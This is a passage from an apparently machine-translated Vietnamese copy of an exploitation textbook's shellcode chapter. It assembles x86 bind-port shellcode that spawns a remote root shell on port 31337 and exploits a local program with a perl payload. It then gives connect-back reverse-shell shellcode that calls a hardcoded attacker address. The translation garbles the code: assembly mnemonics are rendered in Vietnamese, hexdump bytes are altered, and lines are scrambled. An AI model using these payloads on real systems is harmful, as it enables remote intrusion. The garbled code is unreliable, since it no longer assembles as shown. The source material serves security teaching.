liên kết(sockfd, (cấu trúc sockaddr *)&host_addr, sizeof(cấu trúc sockaddr));
21
22
lắng nghe(sockfd, 4);
(gdb) phá vỡ 13
Điểm dừng 1 tại 0x804849b: tệp bind_port.c, dòng 13.
(gdb) phá vỡ 20
Điểm dừng 2 tại 0x80484f5: tệp bind_port.c, dòng 20.
(gdb) chạy
Chương trình khởi động: /home/reader/booksrc/a.out
Điểm dừng 1, main() tại bind_port.c:13
13
sockfd = socket(PF_INET, SOCK_STREAM, 0);
(gdb) x/5i $eip
0x804849b <main+23>:
di chuyển
DWORD PTR [esp+8],0x0
0x80484a3 <main+31>:
di chuyển
DWORD PTR [esp+4],0x1
0x80484ab <main+39>:
di chuyển
DWORD PTR [esp],0x2
0x80484b2 <main+46>:
gọi 0x8048394 <socket@plt>
0x80484b7 <main+51>: (gdb)
di chuyển
DWORD PTR [ebp-12],eax
Điểm dừng đầu tiên nằm ngay trước khi lệnh gọi socket xảy ra, vì chúng ta
cần kiểm tra giá trị của PF_INET và SOCK_STREAM. Cả ba đối số đều được đẩy vào
ngăn xếp (nhưng với lệnh mov ) theo thứ tự ngược lại. Điều này có nghĩa là
PF_INET là 2 và SOCK_STREAM là 1.
(gdb) tiếp theo
Tiếp tục.
Điểm dừng 2, main() tại bind_port.c:20
20
liên kết(sockfd, (cấu trúc sockaddr *)&host_addr, sizeof(cấu trúc sockaddr));
(gdb) in host_addr $1 =
{sin_family = 2, sin_port = 27002, sin_addr = {s_addr = 0}, sin_zero =
"\000\000\000\000\000\000\000"}
(gdb) in kích thước của(struct sockaddr)
Mã vỏ 305
Machine Translated by Google
2 = 16
(gdb) x/16xb &host_addr
0xbffff780: 0x02 0x00 0x7a 0x69 0xbffff788: (gdb) p /
x 27002
0x00
0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00
0x00
$3 = 0x697a
(gdb) trang 0x7a69
4 = 31337
(gdb)
Điểm dừng tiếp theo xảy ra sau khi cấu trúc sockaddr được điền giá trị. Trình gỡ lỗi đủ thông minh
để giải mã các phần tử của cấu trúc khi host_addr được in ra, nhưng bây giờ bạn cần đủ thông minh để nhận
ra rằng cổng được lưu trữ theo thứ tự byte mạng. Các phần tử sin_family và sin_port đều là các từ, theo sau
là địa chỉ dưới dạng DWORD. Trong trường hợp này, địa chỉ là 0, nghĩa là bất kỳ địa chỉ nào cũng có thể
được sử dụng để liên kết. Tám byte còn lại sau đó chỉ là không gian thừa trong cấu trúc. Tám byte đầu tiên
trong cấu trúc (được in đậm) chứa tất cả các thông tin quan trọng.
Các hướng dẫn lắp ráp sau đây thực hiện tất cả các lệnh gọi socket cần thiết để liên
kết với cổng 31337 và chấp nhận các kết nối TCP. Cấu trúc sockaddr và các mảng đối số đều
được tạo bằng cách đẩy các giá trị theo thứ tự ngược lại vào ngăn xếp và sau đó sao chép ESP
vào ECX. Tám byte cuối cùng của sockaddr
cấu trúc thực tế không được đẩy vào ngăn xếp vì chúng không được sử dụng. Bất kỳ tám byte ngẫu nhiên nào
có trên ngăn xếp sẽ chiếm không gian này, điều này là ổn.
bind_port.s
BIT 32
; s = ổ cắm(2, 1, 0)
đẩy BYTE 0x66 pop eax
; socketcall là syscall #102 (0x66).
cdq
; Đặt edx về giá trị 0 để sử dụng làm DWORD rỗng sau này.
xor ebx, ebx
; ebx là kiểu socketcall.
inc ebx
; 1 = SYS_SOCKET = ổ cắm()
đẩy edx đẩy
; Xây dựng mảng arg: { protocol = 0,
BYTE 0x1 đẩy BYTE
(ngược lại)
0x2 mov ecx, esp
; AF_INET = 2 }
int 0x80
; ; ecx = ptr đến mảng đối số
SOCK_DÒNG = 1,
; Sau syscall, eax có mô tả tệp socket.
mov esi, eax
; lưu socket FD trong esi để sử dụng sau
; liên kết(s, [2, 31337, 0], 16)
đẩy BYTE 0x66 pop eax
; socketcall (syscall #102)
bao gồm ebx
; ebx = 2 = SYS_BIND = liên kết()
đẩy edx
; Xây dựng cấu trúc sockaddr: INADDR_ANY = 0
đẩy WORD 0x697a ;
(theo thứ tự ngược lại)
đẩy WORD bx
mov ecx, đặc biệt
306 0x500
CỔNG = 31337
AF_INET = 2
; ; ecx = con trỏ cấu trúc máy chủ
Machine Translated by Google
đẩy BYTE 16 đẩy
; argv: { sizeof(cấu trúc máy chủ) = 16,
con trỏ cấu trúc máy chủ,
ecx đẩy esi
mov ecx,
; mô tả tập tin ổ cắm }
esp int 0x80
; ; ecx = mảng đối số
; eax = 0 khi thành công
; lắng nghe(s, 0)
mov BYTE al, 0x66 ; socketcall (syscall #102) inc ebx
inc ebx
; ebx = 4 = SYS_LISTEN = lắng nghe()
đẩy ebx đẩy
; argv: { tồn đọng = 4,
ổ cắm fd }
esi mov
ecx, esp int 0x80
; ; ecx = mảng đối số
; c = chấp nhận(s, 0, 0)
mov BYTE al, 0x66 ; socketcall (syscall #102) ; ebx =
tăng
5 = SYS_ACCEPT = accept()
đẩy edxebx;
đẩy
argv: { socklen = 0,
sockaddr ptr = NULL,
edx đẩy esi
mov ecx,
; ổ cắm fd }
esp int 0x80
; ; ecx = mảng đối số
; eax = ổ cắm được kết nối FD
Khi được lắp ráp và sử dụng trong một lần khai thác, shellcode này sẽ liên kết với cổng 31337
và chờ kết nối đến, chặn ở lệnh gọi chấp nhận.
Khi kết nối được chấp nhận, mô tả tệp socket mới được đưa vào EAX ở cuối mã này. Điều này sẽ không thực
sự hữu ích cho đến khi nó được kết hợp với mã shell-spawning được mô tả trước đó. May mắn thay, các mô tả
tệp chuẩn làm cho sự kết hợp này trở nên cực kỳ đơn giản.
0x541 Sao chép các mô tả tệp chuẩn
Standard input, standard output và standard error là ba bộ mô tả tệp chuẩn được các chương trình sử dụng
để thực hiện I/O chuẩn. Socket cũng chỉ là các bộ mô tả tệp có thể đọc và ghi vào. Chỉ cần hoán đổi đầu
vào, đầu ra và lỗi chuẩn của shell được sinh ra với bộ mô tả tệp socket được kết nối, shell sẽ ghi đầu ra
và lỗi vào socket và đọc đầu vào của nó từ các byte mà socket nhận được. Có một lệnh gọi hệ thống dành
riêng cho việc sao chép các bộ mô tả tệp, được gọi là dup2. Đây là lệnh gọi hệ thống số 63.
người đọc@hacking:~/booksrc $ grep dup2 /usr/include/asm-i386/unistd.h #define
__NR_dup2 63
reader@hacking:~/booksrc $ man 2 dup2
DUP(2)
Sổ tay lập trình Linux
DUP(2)
TÊN
dup, dup2 - sao chép một mô tả tập tin
TÓM TẮT
#include <unistd.h>
Mã vỏ 307
Machine Translated by Google
int dup(int oldfd);
int dup2(int oldfd, int newfd);
SỰ MIÊU TẢ
dup() và dup2() tạo một bản sao của tệp mô tả oldfd.
dup2() biến newfd thành bản sao của oldfd, đóng newfd trước nếu cần thiết.
Mã shell bind_port.s còn lại với trình mô tả tệp socket được kết nối trong EAX. Các hướng dẫn sau
được thêm vào tệp bind_shell_beta.s để sao chép socket này vào các trình mô tả tệp I/O chuẩn; sau đó, các
hướng dẫn tiny_shell được gọi để thực thi shell trong quy trình hiện tại. Các trình mô tả tệp đầu vào và
đầu ra chuẩn của shell được tạo ra sẽ là kết nối TCP, cho phép truy cập shell từ xa.
Hướng dẫn mới từ bind_shell1.s
; dup2(ổ cắm được kết nối, {tất cả ba mô tả tệp I/O chuẩn})
mov ebx, eax đẩy
; Di chuyển socket FD trong ebx.
BYTE 0x3F pop eax
; cuộc gọi hệ thống dup2 #63
xor ecx, ecx
; ecx = 0 = đầu vào chuẩn
int 0x80
; nhân đôi(c, 0)
mov BYTE al, 0x3F ; dup2 syscall #63
inc ecx ; ecx = 1 = đầu ra chuẩn
int 0x80
; nhân đôi(c, 1)
mov BYTE al, 0x3F ; dup2 syscall #63
inc ecx ; ecx = 2 = lỗi chuẩn
số nguyên 0x80
; nhân đôi(c, 2)
; execve(const char *tên tệp, char *const argv [], char *const envp [])
mov BYTE al, 11 ; thực hiện cuộc gọi tòa nhà số 11
đẩy edx; đẩy một số giá trị null để kết thúc chuỗi.
đẩy 0x68732f2f ; đẩy "//sh" vào ngăn xếp.
đẩy 0x6e69622f ; đẩy "/bin" vào ngăn xếp.
mov ebx, esp đẩy
; Đưa địa chỉ của "/bin//sh" vào ebx thông qua esp.
ecx mov
; đẩy ký tự kết thúc null 32 bit vào ngăn xếp.
edx, esp đẩy ebx
; Đây là một mảng trống cho envp.
mov ecx,
; đẩy địa chỉ chuỗi vào ngăn xếp phía trên ký tự kết thúc null.
esp int 0x80
; Đây là mảng argv có chuỗi ptr.
; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
Khi shellcode này được lắp ráp và sử dụng trong một khai thác, nó sẽ liên kết với cổng 31337 và chờ
kết nối đến. Trong đầu ra bên dưới, grep được sử dụng để kiểm tra nhanh các byte null. Cuối cùng, quá
trình treo chờ kết nối.
người đọc@hacking:~/booksrc $ nasm bind_shell_beta.s
người đọc@hacking:~/booksrc $ hexdump -C bind_shell_beta | grep --color=auto 00
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 89 c6 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a |..jfXCRfhzifS..j|
00000020 10 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd |.QV.....fCCSV...|
308 0x500
Machine Translated by Google
00000030 80 b0 66 43 52 52 56 89 e1 cd 80 89 c3 6a 3f 58 |..fCRRV......j?X|
00000040 31 c9 đĩa 80 b0 3f 41 đĩa 80 b0 3f 41 đĩa 80 b0 0b |1....?A...?A....|
00000050 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 |Rh//shh/bin..R..|
00000060 53 89 e1 cd 80
|S...|
00000065
reader@hacking:~/booksrc $ export SHELLCODE=$(cat bind_shell_beta)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./notesearch
SHELLCODE sẽ ở 0xbffff97f
người đọc@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x7f\xf9\xff\xbf"x40')
[DEBUG] tìm thấy một ghi chú 33 byte cho ID người dùng 999
-------[ kết thúc dữ liệu ghi chú ]-----
Từ một cửa sổ terminal khác, chương trình netstat được sử dụng để tìm cổng
lắng nghe. Sau đó, netcat được sử dụng để kết nối với root shell trên cổng đó.
người đọc@hacking:~/booksrc $ sudo netstat -lp | grep 31337
tcp 0 *:31337 0*:* NGHE reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337
25604/tìm kiếm ghi chú
localhost [127.0.0.1] 31337 (?) mở
ai đó
gốc rễ
0x542 Cấu trúc điều khiển phân nhánh
Các cấu trúc điều khiển của ngôn ngữ lập trình C, chẳng hạn như vòng lặp for và
khối if-then-else, được tạo thành từ các nhánh và vòng lặp có điều kiện trong ngôn
ngữ máy. Với các cấu trúc điều khiển, các lệnh gọi lặp lại đến dup2 có thể được
thu nhỏ thành một lệnh gọi duy nhất trong một vòng lặp. Chương trình C đầu tiên
được viết trong các chương trước đã sử dụng vòng lặp for để chào thế giới 10 lần.
Việc phân tách hàm chính sẽ cho chúng ta thấy trình biên dịch đã triển khai vòng
lặp for bằng cách sử dụng các lệnh lắp ráp. Các lệnh vòng lặp (được hiển thị bên
dưới bằng chữ in đậm) xuất hiện sau lệnh mở đầu hàm lưu bộ nhớ ngăn xếp cho biến cục bộ i.
Biến này được tham chiếu liên quan đến sổ đăng ký EBP là [ebp-4].
reader@hacking:~/booksrc $ gcc firstprog.c
reader@hacking:~/booksrc $ gdb -q ./a.out Sử dụng
thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) giải tán chính
Bản sao mã trình biên dịch cho hàm main:
0x08048374 <main+0>: đẩy ebp
0x08048375 <main+1>: ebp,esp
di chuyển
0x08048377 <main+3>: esp,0x8 phụ
và
0x0804837a <main+6>: esp,0xfffffff0
0x0804837d <main+9>: eax,0x0
di chuyển
0x08048382 <main+14>: sub esp,eax
0x08048384 <main+16>: mov
DWORD PTR [ebp-4],0x0
0x0804838b <main+23>: cmp
DWORD PTR [ebp-4],0x9
0x0804838f <main+27>: jle
0x8048393 <chính+31>
0x08048391 <main+29>: jmp
0x80483a6 <chính+50>
0x08048393 <main+31>: mov
DWORD PTR [esp],0x8048484
0x0804839a <main+38>: gọi 0x80482a0 <printf@plt>
Mã vỏ 309
Machine Translated by Google
0x0804839f <main+43>: lea 0x080483a2
eax,[ebp-4]
<main+46>: inc 0x080483a4 <main+48>:
DWORD PTR [eax]
jmp 0x080483a6 <main+50>: leave
0x804838b <chính+23>
0x080483a7 <main+51>: ret Kết thúc
quá trình dump trình biên dịch.
(gdb)
Vòng lặp chứa hai lệnh mới: cmp (so sánh) và jle (nhảy nếu nhỏ hơn hoặc bằng), lệnh
sau thuộc họ lệnh nhảy có điều kiện. Lệnh cmp sẽ so sánh hai toán hạng của nó, thiết lập
cờ dựa trên kết quả. Sau đó, lệnh nhảy có điều kiện sẽ nhảy dựa trên các cờ. Trong đoạn
mã trên, nếu giá trị tại [ebp-4] nhỏ hơn hoặc bằng 9, lệnh thực thi sẽ nhảy đến 0x8048393,
qua lệnh jmp tiếp theo . Nếu không, lệnh jmp tiếp theo sẽ đưa lệnh thực thi đến cuối hàm
tại 0x080483a6, thoát khỏi vòng lặp. Thân vòng lặp thực hiện lệnh gọi printf(), tăng biến
đếm tại [ebp-4] và cuối cùng nhảy trở lại lệnh so sánh để tiếp tục vòng lặp. Sử dụng lệnh
nhảy có điều kiện, các cấu trúc điều khiển lập trình phức tạp như vòng lặp có thể được tạo
trong hợp ngữ.
Hướng dẫn nhảy có điều kiện chi tiết hơn được hiển thị bên dưới.
Chỉ dẫn
Sự miêu tả
cmp <đích>, <nguồn> So sánh toán hạng đích với toán hạng nguồn, thiết lập cờ để sử dụng với lệnh nhảy có
điều kiện.
je <mục tiêu>
Nhảy đến mục tiêu nếu các giá trị được so sánh bằng nhau.
jne <mục tiêu>
Nhảy nếu không bằng.
jl <mục tiêu>
Nhảy nếu nhỏ hơn.
jle <mục tiêu>
Nhảy nếu nhỏ hơn hoặc bằng.
jnl <mục tiêu>
Nhảy nếu không nhỏ hơn.
jnle <mục tiêu>
Nhảy nếu không nhỏ hơn hoặc bằng.
jg
jge
Nhảy nếu lớn hơn, hoặc lớn hơn hoặc bằng.
jng
jnge
Nhảy nếu không lớn hơn, hoặc không lớn hơn hoặc bằng.
Có thể sử dụng các hướng dẫn này để thu nhỏ phần dup2 của shellcode xuống như sau:
; dup2(ổ cắm được kết nối, {tất cả ba mô tả tệp I/O chuẩn})
mov ebx, eax
; Di chuyển socket FD trong ebx.
xor eax, eax
; Không có eax.
xor ecx, ecx
; ecx = 0 = đầu vào chuẩn
vòng lặp dup:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
inc ecx
cmp BYTE cl, 2
jle dup_loop
310 0x500
; So sánh ecx với 2.
; Nếu ecx <= 2, nhảy tới dup_loop.
Machine Translated by Google
Vòng lặp này lặp lại ECX từ 0 đến 2, thực hiện một lệnh gọi đến dup2 mỗi
lần. Với sự hiểu biết đầy đủ hơn về các cờ được lệnh cmp sử dụng , vòng lặp
này có thể được thu nhỏ hơn nữa. Các cờ trạng thái do lệnh cmp thiết lập cũng
được thiết lập bởi hầu hết các lệnh khác, mô tả các thuộc tính của kết quả
lệnh. Các cờ này là cờ nhớ (CF), cờ chẵn lẻ (PF), cờ điều chỉnh (AF), cờ tràn
(OF), cờ số không (ZF) và cờ dấu (SF). Hai cờ cuối cùng hữu ích nhất và dễ
hiểu nhất. Cờ số không được đặt thành true nếu kết quả là số không, nếu
không thì là false. Cờ dấu chỉ đơn giản là bit quan trọng nhất của kết quả,
là true nếu kết quả là số âm và là false nếu không.
Điều này có nghĩa là sau bất kỳ lệnh nào có kết quả âm, cờ dấu sẽ trở
thành đúng và cờ số không sẽ trở thành sai.
Tên viết tắt Mô tả
ZF
cờ số không Đúng nếu kết quả bằng không.
S.F.
dấu hiệu cờ Đúng nếu kết quả là số âm (bằng với bit có ý nghĩa nhất của kết quả).
Lệnh cmp (so sánh) thực ra chỉ là lệnh sub (trừ) loại bỏ kết quả, chỉ ảnh
hưởng đến cờ trạng thái. Lệnh jle (nhảy nếu nhỏ hơn hoặc bằng) thực ra đang
kiểm tra cờ số không và dấu.
Nếu một trong hai cờ này là đúng, thì toán hạng đích (đầu tiên) nhỏ hơn hoặc
bằng toán hạng nguồn (thứ hai). Các lệnh nhảy có điều kiện khác hoạt động
theo cách tương tự, và vẫn còn nhiều lệnh nhảy có điều kiện kiểm tra
trực tiếp các cờ trạng thái riêng lẻ:
Chỉ dẫn
Sự miêu tả
jz <mục tiêu> Nhảy đến mục tiêu nếu cờ số không được đặt.
jnz <mục tiêu> Nhảy nếu cờ số không không được thiết lập.
js <target> Nhảy nếu cờ hiệu được đặt.
jns <target> Nhảy là cờ hiệu chưa được thiết lập.
Với kiến thức này, lệnh cmp (so sánh) có thể bị xóa hoàn toàn nếu thứ
tự vòng lặp bị đảo ngược. Bắt đầu từ 2 và đếm ngược, cờ hiệu có thể được
kiểm tra để lặp lại cho đến 0. Vòng lặp rút gọn được hiển thị bên dưới, với
các thay đổi được hiển thị bằng chữ in đậm.
; dup2(ổ cắm được kết nối, {tất cả ba mô tả tệp I/O chuẩn})
mov ebx, eax
; Di chuyển socket FD trong ebx.
xor eax, eax
; Không có eax.
đẩy BYTE 0x2 pop
; ecx bắt đầu từ 2.
ecx
vòng lặp kép:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80
; dup2(c, 0)
dec ecx ; Đếm ngược đến 0.
jns vòng lặp dup
; Nếu cờ dấu không được thiết lập, ecx không phải là số âm.
Mã vỏ 311
Machine Translated by Google
Hai lệnh đầu tiên trước vòng lặp có thể được rút ngắn bằng lệnh xchg
(trao đổi) lệnh. Lệnh này hoán đổi các giá trị giữa toán hạng nguồn và toán hạng đích:
Chỉ dẫn
Sự miêu tả
xchg <đích>, <nguồn> Trao đổi giá trị giữa hai toán hạng.
Chỉ dẫn này có thể thay thế cả hai chỉ dẫn sau:
chiếm bốn byte:
89C3
mov ebx,eax
31C0
xor eax,eax
Thanh ghi EAX cần được xóa về 0 để chỉ xóa ba byte trên cùng của thanh ghi, và EBX
đã xóa các byte trên cùng này. Vì vậy, việc hoán đổi các giá trị giữa EAX và EBX sẽ
giết chết hai con chim bằng một hòn đá, giảm kích thước xuống lệnh một byte sau:
93
xchg eax,ebx
Vì lệnh xchg thực sự nhỏ hơn lệnh mov giữa hai thanh ghi, nên nó có thể
được sử dụng để thu nhỏ shellcode ở những nơi khác. Tất nhiên, điều này chỉ có
hiệu quả trong những trường hợp mà thanh ghi của toán hạng nguồn không quan trọng.
Phiên bản shellcode cổng liên kết sau đây sử dụng lệnh trao đổi để cắt giảm
thêm một vài byte khỏi kích thước của nó.
bind_shell.s
BIT 32
; s = ổ cắm(2, 1, 0)
đẩy BYTE 0x66 pop eax
; socketcall là syscall #102 (0x66).
cdq
; Đặt edx về giá trị 0 để sử dụng làm DWORD rỗng sau này.
xor ebx, ebx inc
; Ebx là loại socketcall.
ebx đẩy
; 1 = SYS_SOCKET = ổ cắm()
edx đẩy
; Xây dựng mảng arg: { protocol = 0,
BYTE 0x1 đẩy BYTE
(ngược lại)
SOCK_DÒNG = 1,
0x2
; AF_INET = 2 }
mov ecx, esp
int 0x80
; ; ecx = ptr đến mảng đối số
xchg esi, eax
; Lưu socket FD trong esi để sử dụng sau.
; Sau syscall, eax có mô tả tệp socket.
; liên kết(s, [2, 31337, 0], 16)
312 0x500
đẩy BYTE 0x66 pop eax
; socketcall (syscall #102)
bao gồm ebx
; ebx = 2 = SYS_BIND = liên kết()
Machine Translated by Google
đẩy edx
; Xây dựng cấu trúc sockaddr: INADDR_ANY = 0
(theo thứ tự ngược lại)
đẩy WORD 0x697a ; đẩy
WORD bx
CỔNG = 31337
AF_INET = 2
mov ecx, esp đẩy
; ; ecx = con trỏ cấu trúc máy chủ
BYTE 16 đẩy ecx
; argv: { sizeof(cấu trúc máy chủ) = 16,
con trỏ cấu trúc máy chủ,
đẩy esi
; mô tả tập tin ổ cắm }
mov ecx, esp
; ; ecx = mảng đối số
int 0x80
; eax = 0 khi thành công
; lắng nghe(s, 0)
mov BYTE al, 0x66 ; socketcall (syscall #102) inc ebx
inc ebx
; ebx = 4 = SYS_LISTEN = lắng nghe()
đẩy ebx đẩy
; argv: { tồn đọng = 4,
ổ cắm fd }
esi mov
ecx, esp int 0x80
; ; ecx = mảng đối số
; c = chấp nhận(s, 0, 0)
mov BYTE al, 0x66 ; socketcall (syscall #102) ; ebx = 5
tăng ebx
= SYS_ACCEPT = accept()
đẩy edx; argv: { socklen = 0,
;
đẩy edx sockaddr ptr = NULL,
đẩy ổ cắm esi fd }
mov ecx, esp
; ; ecx = mảng đối số
int 0x80
; eax = ổ cắm được kết nối FD
; dup2(ổ cắm được kết nối, {tất cả ba mô tả tệp I/O chuẩn})
xchg eax, ebx
; Đặt socket FD trong ebx và 0x00000005 trong eax.
đẩy BYTE 0x2
; ecx bắt đầu từ 2.
pop ecx
vòng lặp kép:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
dec ecx
; đếm ngược đến 0;
jns dup_loop
Nếu cờ dấu không được thiết lập, ecx không âm.
; execve(const char *tên tệp, char *const argv [], char *const envp [])
mov BYTE al, 11 ; thực hiện cuộc gọi tòa nhà số 11
đẩy edx; đẩy một số giá trị null để kết thúc chuỗi.
đẩy 0x68732f2f ; đẩy "//sh" vào ngăn xếp.
đẩy 0x6e69622f ; đẩy "/bin" vào ngăn xếp.
mov ebx, đặc biệt
; Đưa địa chỉ của "/bin//sh" vào ebx thông qua esp.
là đẩy edx
; đẩy ký tự kết thúc null 32 bit vào ngăn xếp.
mov edx, đặc biệt
; Đây là một mảng trống cho envp.
là đẩy ebx
; đẩy địa chỉ chuỗi vào ngăn xếp phía trên ký tự kết thúc null.
mov ecx, esp
; Đây là mảng argv với chuỗi ptr
int 0x80
; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
Phần này sẽ biên dịch thành shellcode bind_shell 92 byte giống như đã sử dụng
trong chương trước.
Mã vỏ 313
Machine Translated by Google
reader@hacking:~/booksrc $ nasm bind_shell.s
reader@hacking:~/booksrc $ hexdump -C bind_shell
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.|
00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....|
00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....jY?|
00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//suỵt/b|
00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 0000005c
|trong..R..S....|
reader@hacking:~/booksrc $ diff bind_shell portbinding_shellcode
0x550 Kết nối-Quay lại Shellcode
Shellcode liên kết cổng dễ bị tường lửa phá vỡ. Hầu hết tường lửa sẽ chặn các kết
nối đến, ngoại trừ một số cổng nhất định có các dịch vụ đã biết. Điều này hạn chế khả
năng tiếp xúc của người dùng và sẽ ngăn chặn shellcode liên kết cổng nhận được kết nối.
Tường lửa phần mềm hiện rất phổ biến đến mức shellcode liên kết cổng có rất ít khả
năng thực sự hoạt động trong tự nhiên.
Tuy nhiên, tường lửa thường không lọc các kết nối đi, vì điều đó sẽ cản trở khả
năng sử dụng. Từ bên trong tường lửa, người dùng có thể truy cập bất kỳ trang web nào
hoặc thực hiện bất kỳ kết nối đi nào khác. Điều này có nghĩa là nếu shellcode khởi tạo
kết nối đi, hầu hết tường lửa sẽ cho phép.
Thay vì chờ kết nối từ kẻ tấn công, shell-code connect-back khởi tạo kết nối TCP
trở lại địa chỉ IP của kẻ tấn công. Mở kết nối TCP chỉ cần gọi socket() và gọi connect().
Điều này rất giống với shellcode bind-port, vì lệnh gọi socket hoàn toàn giống nhau và
lệnh gọi connect() sử dụng cùng loại đối số như bind(). Shellcode connect-back sau được
tạo từ shellcode bind-port với một vài sửa đổi (được in đậm).
connectback_shell.s
BIT 32
; s = ổ cắm(2, 1, 0)
đẩy BYTE 0x66; socketcall là syscall #102 (0x66).
pop eax
cdq
; Đặt edx về giá trị 0 để sử dụng làm DWORD rỗng sau này.
xor ebx, ebx
inc ebx
; ebx là kiểu socketcall.
push edx
; Xây dựng mảng arg: { protocol = 0,
; 1 = SYS_SOCKET = ổ cắm()
push BYTE 0x1
(ngược lại)
push BYTE 0x2
; AF_INET = 2 }
mov ecx, esp
int 0x80
; ; ecx = ptr đến mảng đối số
xchg esi, eax
; Lưu socket FD trong esi để sử dụng sau.
SOCK_DÒNG = 1,
; Sau syscall, eax có mô tả tệp socket.
; kết nối(s, [2, 31337, <địa chỉ IP>], 16)
đẩy BYTE 0x66
314 0x500
; socketcall (syscall #102)
Machine Translated by Google
pop eax
inc ebx
; ebx = 2 (cần thiết cho AF_INET)
push DWORD 0x482aa8c0 ; Xây dựng cấu trúc sockaddr: Địa chỉ IP = 192.168.42.72
đẩy WORD 0x697a; PORT = 31337
(theo thứ tự ngược lại)
đẩy WORD bx AF_INET = 2
mov ecx, esp
; ; ecx = con trỏ cấu trúc máy chủ
push BYTE 16 ; argv: { sizeof(server struct) = 16,
đẩy con trỏ cấu trúc máy; chủ ecx,
đẩy mô tả tập tin socket esi }
mov ecx, esp inc
; ; ecx = mảng đối số
ebx ; ebx = 3 = SYS_CONNECT = kết nối()
số nguyên 0x80
; eax = ổ cắm được kết nối FD
; dup2(ổ cắm được kết nối, {tất cả ba mô tả tệp I/O chuẩn})
xchg eax, ebx đẩy
; Đặt socket FD trong ebx và 0x00000003 trong eax.
BYTE 0x2 pop ecx
; ecx bắt đầu từ 2.
vòng lặp kép:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80
; dup2(c, 0)
dec ecx ; Đếm ngược đến 0.
jns vòng lặp dup
; Nếu cờ dấu không được thiết lập, ecx không phải là số âm.
; execve(const char *tên tệp, char *const argv [], char *const envp [])
mov BYTE al, 11 ; thực hiện cuộc gọi tòa nhà số 11.
đẩy edx
; đẩy một số giá trị null để kết thúc chuỗi.
đẩy 0x68732f2f ; đẩy "//sh" vào ngăn xếp.
đẩy 0x6e69622f ; đẩy "/bin" vào ngăn xếp.
mov ebx, esp đẩy
; Đưa địa chỉ của "/bin//sh" vào ebx thông qua esp.
edx mov
; đẩy ký tự kết thúc null 32 bit vào ngăn xếp.
edx, esp đẩy ebx
; Đây là một mảng trống cho envp.
mov ecx,
; đẩy địa chỉ chuỗi vào ngăn xếp phía trên ký tự kết thúc null.
esp int 0x80
; Đây là mảng argv có chuỗi ptr.
; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
Trong shellcode ở trên, địa chỉ IP kết nối được đặt thành 192.168.42.72, đây phải là địa chỉ IP của
máy tấn công. Địa chỉ này được lưu trữ trong cấu trúc in_addr là 0x482aa8c0, đây là biểu diễn thập lục
phân của 72, 42, 168 và 192. Điều này được làm rõ khi mỗi số được hiển thị dưới dạng thập lục phân:
người đọc@hacking:~/booksrc $ gdb -q
(gdb) trang /x 192
$1 = 0xc0
(gdb) trang /x 168
$2 = 0xa8
(gdb) trang /x 42
$3 = 0x2a
(gdb) trang /x 72
$4 = 0x48
(gdb) p /x 31337 $5
= 0x7a69 (gdb)
Mã vỏ 315
Machine Translated by Google
Vì các giá trị này được lưu trữ theo thứ tự byte mạng nhưng kiến trúc x86 lại theo thứ tự
little-endian, nên DWORD được lưu trữ có vẻ như bị đảo ngược. Điều này có nghĩa là DWORD cho
192.168.42.72 là 0x482aa8c0. Điều này cũng áp dụng cho WORD hai byte được sử dụng cho cổng đích.
Khi số cổng 31337 được in theo hệ thập lục phân bằng gdb, thứ tự byte được hiển thị theo thứ tự
little-endian. Điều này có nghĩa là các byte được hiển thị phải bị đảo ngược, vì vậy WORD cho 31337
là 0x697a.
Chương trình netcat cũng có thể được sử dụng để lắng nghe các kết nối đến với tùy chọn dòng
lệnh -l . Điều này được sử dụng trong đầu ra bên dưới để lắng nghe trên cổng 31337 cho shellcode
connect-back. Lệnh ifconfig đảm bảo địa chỉ IP của eth0 là 192.168.42.72 để shellcode có thể kết nối
lại với nó.
reader@hacking:~/booksrc $ sudo ifconfig eth0 192.168.42.72 up reader@hacking:~/booksrc
$ ifconfig eth0 eth0 Liên kết encap:Ethernet HWaddr
00:01:6C:EB:1D:50 inet addr:192.168.42.72 Bcast:192.168.42.255 Mặt
nạ:255.255.255.0 LÊN PHÁT SÓNG ĐA PHÁT MTU:1500 Số liệu:1 Gói RX:0 lỗi:0 bị loại bỏ:0 tràn:0
khung:0 Gói TX:0 lỗi:0 bị loại bỏ:0 tràn:0 sóng mang:0 va
chạm:0 txqueuelen:1000 RX byte:0 (0,0 b) TX byte:0 (0,0 b)
Ngắt: 16
người đọc@hacking:~/booksrc $ nc -v -l -p 31337
đang nghe trên [bất kỳ] 31337 ...
Bây giờ, chúng ta hãy thử khai thác chương trình máy chủ tinyweb bằng shellcode connect-back.
Từ việc làm việc với chương trình này trước đây, chúng ta biết rằng bộ đệm yêu cầu dài 500 byte
và nằm ở 0xbffff5c0 trong bộ nhớ ngăn xếp.
Chúng ta cũng biết rằng địa chỉ trả về nằm trong phạm vi 40 byte tính từ cuối bộ đệm.
reader@hacking:~/booksrc $ nasm connectback_shell.s
reader@hacking:~/booksrc $ hexdump -C connectback_shell
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
